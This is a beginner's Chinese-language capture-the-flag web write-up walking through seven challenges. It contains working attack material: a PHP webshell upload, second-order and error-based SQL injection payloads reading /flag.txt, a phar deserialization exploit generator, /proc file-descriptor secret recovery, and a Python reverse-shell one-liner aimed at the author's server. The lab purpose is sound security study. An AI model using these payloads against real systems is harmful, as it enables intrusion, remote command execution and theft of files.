初学者的一些做题记录
[红明谷杯2021]write_shell 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php error_reporting (0 );highlight_file (__FILE__ );function check ($input ) { if (preg_match ("/'| |_|php|;|~|\\^|\\+|eval|{|}/i" ,$input )){ die ('hacker!!!' ); }else { return $input ; } }function waf ($input ) { if (is_array ($input )){ foreach ($input as $key =>$output ){ $input [$key ] = waf ($output ); } }else { $input = check ($input ); } }$dir = 'sandbox/' . md5 ($_SERVER ['REMOTE_ADDR' ]) . '/' ;if (!file_exists ($dir )){ mkdir ($dir ); }switch ($_GET ["action" ] ?? "" ) { case 'pwd' : echo $dir ; break ; case 'upload' : $data = $_GET ["data" ] ?? "" ; waf ($data ); file_put_contents ("$dir " . "index.php" , $data ); }?>
代码其实很好理解,我们的输入(也可以是数组的形式)会经过check
检查。检查没问题的话可以先通过/?action=pwd
获得dir
的值(这东西后面会去和index.php
拼接组成完整路径)。然后/?action=upload&data=我们要写进去的webshell
会把webshell
写到路径里。
参考:https://blog.csdn.net/cjdgg/article/details/118216890
php
短标签:
php
中的“``”也可以用来执行命令:
/?action=pwd
:
sandbox/c55e0cb61f7eb238df09ae30a206e5ee/
/?action=upload&data=<?=
ls?>
:
index.php
?action=upload&data=<?=
ls%09/?>
(空格用%09
代替)
/?action=upload&data=<?=
cat%09/flllllll1112222222lag?>
[CISCN2019 华北赛区 Day1 Web5]CyberPunk
商店界面,下面还有订单管理功能:
源码中存在如下提示:
?file=
,猜测GET
方式给file
传参。试了试/?file=flag.php
没啥反应。伪协议读源码试试:
index.php?file=php://filter/convert.base64-encode/resource=index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php ini_set ('open_basedir' , '/var/www/html/' );$file = (isset ($_GET ['file' ]) ? $_GET ['file' ] : null );if (isset ($file )){ if (preg_match ("/phar|zip|bzip2|zlib|data|input|%00/i" ,$file )) { echo ('no way!' ); exit ; } @include ($file ); }?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php require_once "config.php" ; if (!empty ($_POST ["user_name" ]) && !empty ($_POST ["phone" ])) { $msg = '' ; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i' ; $user_name = $_POST ["user_name" ]; $phone = $_POST ["phone" ]; if (preg_match ($pattern ,$user_name ) || preg_match ($pattern ,$phone )){ $msg = 'no sql inject!' ; }else { $sql = "select * from `user` where `user_name`='{$user_name} ' and `phone`='{$phone} '" ; $fetch = $db ->query ($sql ); } if (isset ($fetch ) && $fetch ->num_rows>0 ){ $row = $fetch ->fetch_assoc (); if (!$row ) { echo 'error' ; print_r ($db ->error); exit ; } $msg = "<p>姓名:" .$row ['user_name' ]."</p><p>, 电话:" .$row ['phone' ]."</p><p>, 地址:" .$row ['address' ]."</p>" ; } else { $msg = "未找到订单!" ; } }else { $msg = "信息不全" ; }?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php require_once "config.php" ;if (!empty ($_POST ["user_name" ]) && !empty ($_POST ["address" ]) && !empty ($_POST ["phone" ])) { $msg = '' ; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i' ; $user_name = $_POST ["user_name" ]; $address = addslashes ($_POST ["address" ]); $phone = $_POST ["phone" ]; if (preg_match ($pattern ,$user_name ) || preg_match ($pattern ,$phone )){ $msg = 'no sql inject!' ; }else { $sql = "select * from `user` where `user_name`='{$user_name} ' and `phone`='{$phone} '" ; $fetch = $db ->query ($sql ); } if (isset ($fetch ) && $fetch ->num_rows>0 ){ $row = $fetch ->fetch_assoc (); $sql = "update `user` set `address`='" .$address ."', `old_address`='" .$row ['address' ]."' where `user_id`=" .$row ['user_id' ]; $result = $db ->query ($sql ); if (!$result ) { echo 'error' ; print_r ($db ->error); exit ; } $msg = "订单修改成功" ; } else { $msg = "未找到订单!" ; } }else { $msg = "信息不全" ; }?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php require_once "config.php" ;if (!empty ($_POST ["user_name" ]) && !empty ($_POST ["phone" ])) { $msg = '' ; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i' ; $user_name = $_POST ["user_name" ]; $phone = $_POST ["phone" ]; if (preg_match ($pattern ,$user_name ) || preg_match ($pattern ,$phone )){ $msg = 'no sql inject!' ; }else { $sql = "select * from `user` where `user_name`='{$user_name} ' and `phone`='{$phone} '" ; $fetch = $db ->query ($sql ); } if (isset ($fetch ) && $fetch ->num_rows>0 ){ $row = $fetch ->fetch_assoc (); $result = $db ->query ('delete from `user` where `user_id`=' . $row ["user_id" ]); if (!$result ) { echo 'error' ; print_r ($db ->error); exit ; } $msg = "订单删除成功" ; } else { $msg = "未找到订单!" ; } }else { $msg = "信息不全" ; }?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ?phpini_set ("open_basedir" , getcwd () . ":/etc:/tmp" );$DATABASE = array ( "host" => "127.0.0.1" , "username" => "root" , "password" => "root" , "dbname" =>"ctfusers" );$db = new mysqli ($DATABASE ['host' ],$DATABASE ['username' ],$DATABASE ['password' ],$DATABASE ['dbname' ]);
可以看到对用户名和电话过滤很严格而且开了/i
模式。但对地址只进行了简单的转义处理:
$address = addslashes($_POST["address"]);
二次注入,参考https://www.cnblogs.com/Article-kelp/p/16052105.html
之前对于转义这个东西理解还不太好,网上找了篇文章:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 //下面的SELECT语句显示了引用和转义如何工作: mysql> SELECT 'hello', '"hello"', '""hello""', 'hel''lo', '\'hello'; +-------+---------+-----------+--------+--------+ | hello | "hello" | ""hello"" | hel'lo | 'hello | +-------+---------+-----------+--------+--------+ mysql> SELECT "hello", "'hello'", "''hello''", "hel""lo", "\"hello"; +-------+---------+-----------+--------+--------+ | hello | 'hello' | ''hello'' | hel"lo | "hello | +-------+---------+-----------+--------+--------+ //https://www.cnblogs.com/end/archive/2011/04/01/2002516.html
个人理解就是经过转义(增加\)
,一些特殊字符(比如')
这东西就失去了它本身的含义,变成了某个字符串的一部分。在上面的例子我们也能知道,增加转义符后不是说我输入的数据也增加了个字符。
主要是这里存在问题:
1 2 3 4 5 6 7 8 $address = addslashes ($_POST ["address" ]);$sql = "update `user` set `address`='" .$address ."', `old_address`='" .$row ['address' ]."' where `user_id`=" .$row ['user_id' ];if (!$result ) { echo 'error' ; print_r ($db ->error); exit ; }
在注册用户的地址时时,我们可以构造恶意的SQL
语句(经过转义后被放到数据库中,等着我们在修改地址时触发)
。然后我们修改地址,触发刚刚构造的sql
语句。
做法的话有两种,先看不利用报错直接回显的:
参考了这位师傅的解法:https://www.cnblogs.com/Article-kelp/p/16052105.html
我们先随便注册两个账户:(一个账户就行,我注册两个为了方便解释)
地址(别丢了反引号):’,address
=database()#
在修改地址时,SQL
语句变成了:
$sql = “update user
set address
=’”.$address.”‘, old_address
=’’,address
=’database()’# 这后面的都没了”‘ where user_id
=”.$row[‘user_id’];
旧地址为空,新地址被设置成数据库名。
但要注意由于没有限制user_id
,所以user
表中所有用户的地址都是数据库名。
现在我们把1
的地址改成1
:
提交后查询:
可以看到地址的名字已经是库名了,现在我们在看看2
的地址:
我们并没有更改2
的地址但也回显了ctfusers
,其实就是刚才在修改时把user
表中所有address
字段的值都设置了。
后面就简单了,爆库爆表爆列爆字段,不过这题官方当时是给了hint的,就是flag
在flag.txt
中,我们用load_file
直接读/flag.txt
中的内容:
第二种方法就是网上很多人用的,利用报错进行回显:
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#
注册的时候就输入payload
,然后随便修改一个对应的地址:
查询订单订单时候查出来的其实就是我们的输入,不过因为被转义了所以没啥影响:
[CISCN2019 华北赛区 Day1 Web1]Dropbox 提示php phar
先注册一个登录看看
上传功能,不过是否有过滤不清楚,我们先上传一个图片文件(只允许上传图片形式的):
上传后提供了下载功能,抓包看一下:
其实如果做这种phar
的题最好能拿到源码,尝试下载upload.php
看看:
(利用目录穿越多试几次)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 <?php session_start ();if (!isset ($_SESSION ['login' ])) { header ("Location: login.php" ); die (); }include "class.php" ;if (isset ($_FILES ["file" ])) { $filename = $_FILES ["file" ]["name" ]; $pos = strrpos ($filename , "." ); if ($pos !== false ) { $filename = substr ($filename , 0 , $pos ); } $fileext = ".gif" ; switch ($_FILES ["file" ]["type" ]) { case 'image/gif' : $fileext = ".gif" ; break ; case 'image/jpeg' : $fileext = ".jpg" ; break ; case 'image/png' : $fileext = ".png" ; break ; default : $response = array ("success" => false , "error" => "Only gif/jpg/png allowed" ); Header ("Content-type: application/json" ); echo json_encode ($response ); die (); } if (strlen ($filename ) < 40 && strlen ($filename ) !== 0 ) { $dst = $_SESSION ['sandbox' ] . $filename . $fileext ; move_uploaded_file ($_FILES ["file" ]["tmp_name" ], $dst ); $response = array ("success" => true , "error" => "" ); Header ("Content-type: application/json" ); echo json_encode ($response ); } else { $response = array ("success" => false , "error" => "Invaild filename" ); Header ("Content-type: application/json" ); echo json_encode ($response ); } }?> <?php session_start ();if (!isset ($_SESSION ['login' ])) { header ("Location: login.php" ); die (); }?> <?php include "class.php" ;$a = new FileList ($_SESSION ['sandbox' ]);$a ->Name ();$a ->Size ();?> <?php error_reporting (0 );$dbaddr = "127.0.0.1" ;$dbuser = "root" ;$dbpass = "root" ;$dbname = "dropbox" ;$db = new mysqli ($dbaddr , $dbuser , $dbpass , $dbname );class User { public $db ; public function __construct ( ) { global $db ; $this ->db = $db ; } public function user_exist ($username ) { $stmt = $this ->db->prepare ("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;" ); $stmt ->bind_param ("s" , $username ); $stmt ->execute (); $stmt ->store_result (); $count = $stmt ->num_rows; if ($count === 0 ) { return false ; } return true ; } public function add_user ($username , $password ) { if ($this ->user_exist ($username )) { return false ; } $password = sha1 ($password . "SiAchGHmFx" ); $stmt = $this ->db->prepare ("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);" ); $stmt ->bind_param ("ss" , $username , $password ); $stmt ->execute (); return true ; } public function verify_user ($username , $password ) { if (!$this ->user_exist ($username )) { return false ; } $password = sha1 ($password . "SiAchGHmFx" ); $stmt = $this ->db->prepare ("SELECT `password` FROM `users` WHERE `username` = ?;" ); $stmt ->bind_param ("s" , $username ); $stmt ->execute (); $stmt ->bind_result ($expect ); $stmt ->fetch (); if (isset ($expect ) && $expect === $password ) { return true ; } return false ; } public function __destruct ( ) { $this ->db->close (); } }class FileList { private $files ; private $results ; private $funcs ; public function __construct ($path ) { $this ->files = array (); $this ->results = array (); $this ->funcs = array (); $filenames = scandir ($path ); $key = array_search ("." , $filenames ); unset ($filenames [$key ]); $key = array_search (".." , $filenames ); unset ($filenames [$key ]); foreach ($filenames as $filename ) { $file = new File (); $file ->open ($path . $filename ); array_push ($this ->files, $file ); $this ->results[$file ->name ()] = array (); } } public function __call ($func , $args ) { array_push ($this ->funcs, $func ); foreach ($this ->files as $file ) { $this ->results[$file ->name ()][$func ] = $file ->$func (); } } public function __destruct ( ) { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">' ; $table .= '<thead><tr>' ; foreach ($this ->funcs as $func ) { $table .= '<th scope="col" class="text-center">' . htmlentities ($func ) . '</th>' ; } $table .= '<th scope="col" class="text-center">Opt</th>' ; $table .= '</thead><tbody>' ; foreach ($this ->results as $filename => $result ) { $table .= '<tr>' ; foreach ($result as $func => $value ) { $table .= '<td class="text-center">' . htmlentities ($value ) . '</td>' ; } $table .= '<td class="text-center" filename="' . htmlentities ($filename ) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>' ; $table .= '</tr>' ; } echo $table ; } }class File { public $filename ; public function open ($filename ) { $this ->filename = $filename ; if (file_exists ($filename ) && !is_dir ($filename )) { return true ; } else { return false ; } } public function name ( ) { return basename ($this ->filename); } public function size ( ) { $size = filesize ($this ->filename); $units = array (' B' , ' KB' , ' MB' , ' GB' , ' TB' ); for ($i = 0 ; $size >= 1024 && $i < 4 ; $i ++) $size /= 1024 ; return round ($size , 2 ).$units [$i ]; } public function detele ( ) { unlink ($this ->filename); } public function close ( ) { return file_get_contents ($this ->filename); } }?> <?php session_start ();if (!isset ($_SESSION ['login' ])) { header ("Location: login.php" ); die (); }?> <?php include "class.php" ;$a = new FileList ($_SESSION ['sandbox' ]);$a ->Name ();$a ->Size ();?> <?php session_start ();if (!isset ($_SESSION ['login' ])) { header ("Location: login.php" ); die (); }if (!isset ($_POST ['filename' ])) { die (); }include "class.php" ;ini_set ("open_basedir" , getcwd () . ":/etc:/tmp" );chdir ($_SESSION ['sandbox' ]);$file = new File ();$filename = (string ) $_POST ['filename' ];if (strlen ($filename ) < 40 && $file ->open ($filename ) && stristr ($filename , "flag" ) === false ) { Header ("Content-type: application/octet-stream" ); Header ("Content-Disposition: attachment; filename=" . basename ($filename )); echo $file ->close (); } else { echo "File not exist" ; }?> <?php session_start ();if (!isset ($_SESSION ['login' ])) { header ("Location: login.php" ); die (); }if (!isset ($_POST ['filename' ])) { die (); }include "class.php" ;chdir ($_SESSION ['sandbox' ]);$file = new File ();$filename = (string ) $_POST ['filename' ];if (strlen ($filename ) < 40 && $file ->open ($filename )) { $file ->detele (); Header ("Content-type: application/json" ); $response = array ("success" => true , "error" => "" ); echo json_encode ($response ); } else { Header ("Content-type: application/json" ); $response = array ("success" => false , "error" => "File not exist" ); echo json_encode ($response ); }?>
网盘管理界面是index.php
,我们从该文件开始看:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php session_start ();if (!isset ($_SESSION ['login' ])) { header ("Location: login.php" ); die (); }?> <?php include "class.php" ;$a = new FileList ($_SESSION ['sandbox' ]);$a ->Name ();$a ->Size ();?>
new
了一个FileList
类,我们跟踪到该类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 class FileList { private $files ; private $results ; private $funcs ; public function __construct ($path ) { $this ->files = array (); $this ->results = array (); $this ->funcs = array (); $filenames = scandir ($path ); $key = array_search ("." , $filenames ); unset ($filenames [$key ]); $key = array_search (".." , $filenames ); unset ($filenames [$key ]); foreach ($filenames as $filename ) { $file = new File (); $file ->open ($path . $filename ); array_push ($this ->files, $file ); $this ->results[$file ->name ()] = array (); } } public function __call ($func , $args ) { array_push ($this ->funcs, $func ); foreach ($this ->files as $file ) { $this ->results[$file ->name ()][$func ] = $file ->$func (); } } public function __destruct ( ) { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">' ; $table .= '<thead><tr>' ; foreach ($this ->funcs as $func ) { $table .= '<th scope="col" class="text-center">' . htmlentities ($func ) . '</th>' ; } $table .= '<th scope="col" class="text-center">Opt</th>' ; $table .= '</thead><tbody>' ; foreach ($this ->results as $filename => $result ) { $table .= '<tr>' ; foreach ($result as $func => $value ) { $table .= '<td class="text-center">' . htmlentities ($value ) . '</td>' ; } $table .= '<td class="text-center" filename="' . htmlentities ($filename ) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>' ; $table .= '</tr>' ; } echo $table ; } }
吗的看的头都大了。。
__call
弄了个多维数组出来:results[$file->name()][$func]
,即results[文件名][函数名]=[调用结果]
。
遍历files数组,对每一个file变量执行一次$func,然后将结果存进$results多维数组,接下来的_destruct
函数会将FileList
对象的funcs变量和results数组中的内容以HTML表格的形式输出在index.php上(我们可以知道,index.php里创建了一个FileList对象,在脚本执行完毕后触发_destruct
)。
__destruct()
就是把上面的多维数组遍历然后输出。
new
了一个File
类,我们跟踪到该类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 class File { public $filename ; public function open ($filename ) { $this ->filename = $filename ; if (file_exists ($filename ) && !is_dir ($filename )) { return true ; } else { return false ; } } public function name ( ) { return basename ($this ->filename); } public function size ( ) { $size = filesize ($this ->filename); $units = array (' B' , ' KB' , ' MB' , ' GB' , ' TB' ); for ($i = 0 ; $size >= 1024 && $i < 4 ; $i ++) $size /= 1024 ; return round ($size , 2 ).$units [$i ]; } public function detele ( ) { unlink ($this ->filename); } public function close ( ) { return file_get_contents ($this ->filename); } }
注意这个close()
函数:
1 2 3 public function close ( ) { return file_get_contents ($this ->filename); }
很明显我们可以依靠 return file_get_contents($this->filename)
去读flag.php
或flag/txt
之类的文件,(这道题是读flag.txt
,为什么读这个文件可以看download.php
的过滤内容。)
但注意这个函数是没回显的,我们要想办法把读到的结果回显出来,这时想到了刚才FileList
下的__destruct()
函数。但从Filelist
类下是没法直接触发__call
方法和close()
的,不过:
User
类下存在_destruct()
方法;
1 2 3 4 public function _destruct ( ) { $this ->db->close (); }
当执行FileList->close()
时,因为FileList类中没有close()
这个方法所以调用FileList
->_call()
从而遍历全文件找close()
方法。找到了File->close()
就执行了读取文件内容的操作file_get_contents($filename)
并给他的结果返回FileList->$results
,最后FileList->_destruct()
方法输出了这个结果。
User中的__destruct
= > FileList->close
= > Filelist->__call('close')
=>File->close('/flag.txt')
= >$results=file_get_contents('flag.txt')
=>FileList->_destruct()
=> echo $result
。
再梳理一下这个过程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 public function _destruct ( ) { $this ->db->close (); } public function __call ($func , $args ) { array_push ($this ->funcs, $func ); foreach ($this ->files as $file ) { $this ->results[$file ->name ()][$func ] = $file ->$func (); } } public function close ( ) { return file_get_contents ($this ->filename); } public function __destruct ( ) { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">' ; $table .= '<thead><tr>' ; foreach ($this ->funcs as $func ) { $table .= '<th scope="col" class="text-center">' . htmlentities ($func ) . '</th>' ; } $table .= '<th scope="col" class="text-center">Opt</th>' ; $table .= '</thead><tbody>' ; foreach ($this ->results as $filename => $result ) { $table .= '<tr>' ; foreach ($result as $func => $value ) { $table .= '<td class="text-center">' . htmlentities ($value ) . '</td>' ; } $table .= '<td class="text-center" filename="' . htmlentities ($filename ) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>' ; $table .= '</tr>' ; } echo $table ;
然后注意phar
反序列化触发条件之一是要存在一些受影响的操作数:
1 2 3 4 5 6 7 8 9 public function open ($filename ) { $this ->filename = $filename ; if (file_exists ($filename ) && !is_dir ($filename )) { return true ; } else { return false ; } }
所以存在phar
反序列化:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php class User { public $db ; public function __construct ( ) { $this ->db = new FileList (); } }class FileList { private $files ; private $results ; private $funcs ; public function __construct ( ) { $this ->files[]=new File (); } }class File { public $filename ="/flag.txt" ; }$a = new User ();$phar =new Phar ("pharphar.phar" ); $phar ->startBuffering ();$phar ->setStub ("XXX<?php XXX __HALT_COMPILER(); ?>" ); $phar ->setMetadata ($a ); $phar ->addFromString ("test.txt" , "test" );$phar ->stopBuffering ();?>
最后要注意的点就是download.php
下存在这么个东西:
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
所以反序列化要在delate.php
页面下触发。
filename=phar://pharphar.jpg
[网鼎杯 2020 白虎组]PicDown
???
???
随便输点东西回车,注意URL
:
随便输了些网站都没啥反应,想到URL
可以利用file
读本地文件。。但读啥也不知道。。
参考:https://www.cnblogs.com/Article-kelp/p/16095712.html
首先得知道这题用的是python2
的urllib
的urlopen
,和urllib2
中的urlopen
明显区别就是urllib.urlopen
支持将路径作为参数去打开对应的本地路径,所以可以直接填入路径读取文件。
比如/etc/passwd
这东西算是一个文件路径而不是URL
,但仍可以通过输入路径读取文件:
接下来就是proc
目录利用,主要就是下面这些东西:
1 2 3 4 5 6 7 /proc/ self/cmdline 启动当前进程的完整命令/proc/ self/cwd/ 指向当前进程的运行目录/proc/ self/exe 指向启动当前进程的可执行文件/proc/ self/environ 当前进程的环境变量列表/proc/ self/fd/ 当前进程已打开文件的文件描述符
page?url=/proc/self/cmdline
page?url=/app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from flask import Flask, Responsefrom flask import render_templatefrom flask import requestimport osimport urllib app = Flask(__name__) SECRET_FILE = "/tmp/secret.txt" f = open (SECRET_FILE) SECRET_KEY = f.read().strip() os.remove(SECRET_FILE)@app.route('/' ) def index (): return render_template('search.html' )@app.route('/page' ) def page (): url = request.args.get("url" ) try : if not url.lower().startswith("file" ): res = urllib.urlopen(url) value = res.read() response = Response(value, mimetype='application/octet-stream' ) response.headers['Content-Disposition' ] = 'attachment; filename=beautiful.jpg' return response else : value = "HACK ERROR!" except : value = "SOMETHING WRONG!" return render_template('search.html' , res=value)@app.route('/no_one_know_the_manager' ) def manager (): key = request.args.get("key" ) print (SECRET_KEY) if key == SECRET_KEY: shell = request.args.get("shell" ) os.system(shell) res = "ok" else : res = "Wrong Key!" return resif __name__ == '__main__' : app.run(host='0.0.0.0' , port=8080 )
主要就是/no_one_know_the_manager
这个路由,它会判断传进来的key参数和静态变量SECRET_KEY是否相等,相等的话就使用os.system()
方法执行传进来的shell参数(不过注意这里是没回显的)。
SECRET_KEY
获取:
1 2 3 4 SECRET_FILE = "/tmp/secret.txt" f = open (SECRET_FILE) SECRET_KEY = f.read().strip() os.remove(SECRET_FILE)
根据上面那篇文章可以知道:
在 linux 系统中,如果一个程序用open()打开了一个文件但最终没有关闭他,即便从外部(如os.remove(SECRET_FILE))删除这个文件之后,在 /proc 这个进程的 pid 目录下的 fd 文件描述符目录下还是会有这个文件的文件描述符,通过这个文件描述符我们即可得到被删除文件的内容。
/proc/[pid]/fd 这个目录里包含了进程打开文件的情况,目录里面有一堆/proc/[pid]/fd/id文件,id就是进程记录的打开文件的文件描述符的序号。接下来可以通过手动输或者爆破去拿数据。我很懒所以直接照着wp
里的结果尝试了。。
/page?url=/proc/self/fd/3
拿到SECRET_KEY
后面就是GET
传参shell
后面就是反弹shell
了。。但我的VPS
还没弄好所以这个坑就先留着,这里用非预期读了flag:
2024.1.2补充:
获取密钥后反弹shell
:
1 /no_one_know_the_manager?key= OEv7 KST0 mYwp7 AwYUjP3 wfp13 Gm/7 ais0 wOg150 wX8 I= &shell= python -c 'import socket%2 Csubprocess%2 Cos%3 Bs%3 Dsocket.socket(socket.AF_INET%2 Csocket.SOCK_STREAM)%3 Bs.connect(("IP地址" %2 C9001 ))%3 Bos.dup2 (s.fileno()%2 C0 )%3 B os.dup2 (s.fileno()%2 C1 )%3 Bos.dup2 (s.fileno()%2 C2 )%3 Bimport pty%3 B pty.spawn("%2Fbin%2Fbash" )'
ls
后cat /flag
就行,注意反弹命令要URL
编码一下
[HITCON 2017]SSRFme(未做完)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php if (isset ($_SERVER ['HTTP_X_FORWARDED_FOR' ])) { $http_x_headers = explode (',' , $_SERVER ['HTTP_X_FORWARDED_FOR' ]); $_SERVER ['REMOTE_ADDR' ] = $http_x_headers [0 ]; } echo $_SERVER ["REMOTE_ADDR" ]; $sandbox = "sandbox/" . md5 ("orange" . $_SERVER ["REMOTE_ADDR" ]); @mkdir ($sandbox ); @chdir ($sandbox ); $data = shell_exec ("GET " . escapeshellarg ($_GET ["url" ])); $info = pathinfo ($_GET ["filename" ]); $dir = str_replace ("." , "" , basename ($info ["dirname" ])); @mkdir ($dir ); @chdir ($dir ); @file_put_contents (basename ($info ["basename" ]), $data ); highlight_file (__FILE__ )
代码很好理解,主要有这么个东西:
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
shell_exec
执行的参数是GET
+url
经过转义的值。。题还是做的太少了,GET
命令第一次碰到,搜了搜GET命令执行漏洞
[b01lers2020]Welcome to Earth 这题页面刷新的很快就抓包看了。。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 document .onkeydown = function (event ) { event = event || window .event ; if (event.keyCode == 27 ) { event.preventDefault (); window .location = "/chase/" ; } else die (); };function sleep (ms ) { return new Promise (resolve => setTimeout (resolve, ms)); }async function dietimer ( ) { await sleep (10000 ); die (); }function die ( ) { window .location = "/die/" ; }dietimer ();
我们看看chase
页面:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 function sleep (ms ) { return new Promise (resolve => setTimeout (resolve, ms)); } async function dietimer ( ) { await sleep (1000 ); die (); } function die ( ) { window .location = "/die/" ; } function left ( ) { window .location = "/die/" ; } function leftt ( ) { window .location = "/leftt/" ; } function right ( ) { window .location = "/die/" ; } dietimer ();
我们跳转到leftt
:
跳转到/shoot/
:
跳转到/door
,是这么个东西:
大致就是选择一个数字,选错了就跳转到/die/
界面
一开始以为是要爆破。。但看了会儿发现不知道怎么提交的这个参数,看源码发现有这么个东西:
/static/js/door.js
,访问:
1 2 3 4 5 6 7 8 9 10 11 function check_door ( ) { var all_radio = document .getElementById ("door_form" ).elements ; var guess = null ; for (var i = 0 ; i < all_radio.length ; i++) if (all_radio[i].checked ) guess = all_radio[i].value ; rand = Math .floor (Math .random () * 360 ); if (rand == guess) window .location = "/open/" ; else window .location = "/die/" ; }
大致意思就是猜数,他这个应该没有检验啥的,我们直接跳过去open
下看看:
1 2 3 4 5 6 7 8 9 10 function sleep (ms ) { return new Promise (resolve => setTimeout (resolve, ms)); }function open (i ) { sleep (1 ).then (() => { open (i + 1 ); }); if (i == 4000000000 ) window .location = "/fight/" ; }
直接去fight
,看源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 function scramble (flag, key ) { for (var i = 0 ; i < key.length ; i++) { let n = key.charCodeAt (i) % flag.length ; let temp = flag[i]; flag[i] = flag[n]; flag[n] = temp; } return flag; }function check_action ( ) { var action = document .getElementById ("action" ).value ; var flag = ["{hey" , "_boy" , "aaaa" , "s_im" , "ck!}" , "_baa" , "aaaa" , "pctf" ]; }
使用一个for
循环来遍历密钥的每个字符。在每次迭代中,它通过key.charCodeAt(i)
获取密钥字符的ASCII码,并将其与原始标志的长度取模,得到一个索引值n
。然后,它使用一个临时变量temp
来保存原始标志中的第i
个字符。接下来,它将原始标志中的第i
个字符替换为原始标志中的第n
个字符,并将原始标志中的第n
个字符替换为temp
。这样就实现了对原始标志的混淆。
下面那个就是被打乱顺序的flag
,要把它拼成正确的顺序。
pctf
的话肯定放在第一位,然后就是{hey
,中间不知道,结尾是ck!}
参考https://www.cnblogs.com/upfine/p/16542916.html
1 2 3 4 5 6 7 8 9 10 11 12 from itertools import permutationsimport re flag = ["{hey" , "_boy" , "aaaa" , "s_im" , "ck!}" , "_baa" , "aaaa" , "pctf" ] item = permutations(flag) for a in item: k = '' .join(list (a)) if re.search('^pctf\{hey_boys[a-zA-z_]+ck!\}$' , k): print (k)
[CISCN2019 总决赛 Day2 Web1]Easyweb
登陆界面,先用dirsearch
扫,发现存在robots.txt
:
1 2 User-agent : *Disallow : *.php.bak
不过没告诉是啥。。看下源码,注意:
image.php
进去就是个图片,user.php
进不去,回到index.php
了。用这三个文件试试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php include "config.php" ;$id =isset ($_GET ["id" ])?$_GET ["id" ]:"1" ;$path =isset ($_GET ["path" ])?$_GET ["path" ]:"" ;$id =addslashes ($id );$path =addslashes ($path );$id =str_replace (array ("\\0" ,"%00" ,"\\'" ,"'" ),"" ,$id );$path =str_replace (array ("\\0" ,"%00" ,"\\'" ,"'" ),"" ,$path );$result =mysqli_query ($con ,"select * from images where id='{$id} ' or path='{$path} '" );$row =mysqli_fetch_array ($result ,MYSQLI_ASSOC);$path ="./" . $row ["path" ];header ("Content-Type: image/jpeg" );readfile ($path );
这里对id
进行了两次处理:第一次addslashes
第二次str_replace
。看了wp
知道这里存在单引号逃逸的问题,比如我输入\\0
,先经过addslashes
会变成\\\\0
,其中\\0
会被替换成空剩\\
,这东西会把后面紧跟的'
给转义,比如:
select * from iamges where id='\\' or path=' or 1=1 # '
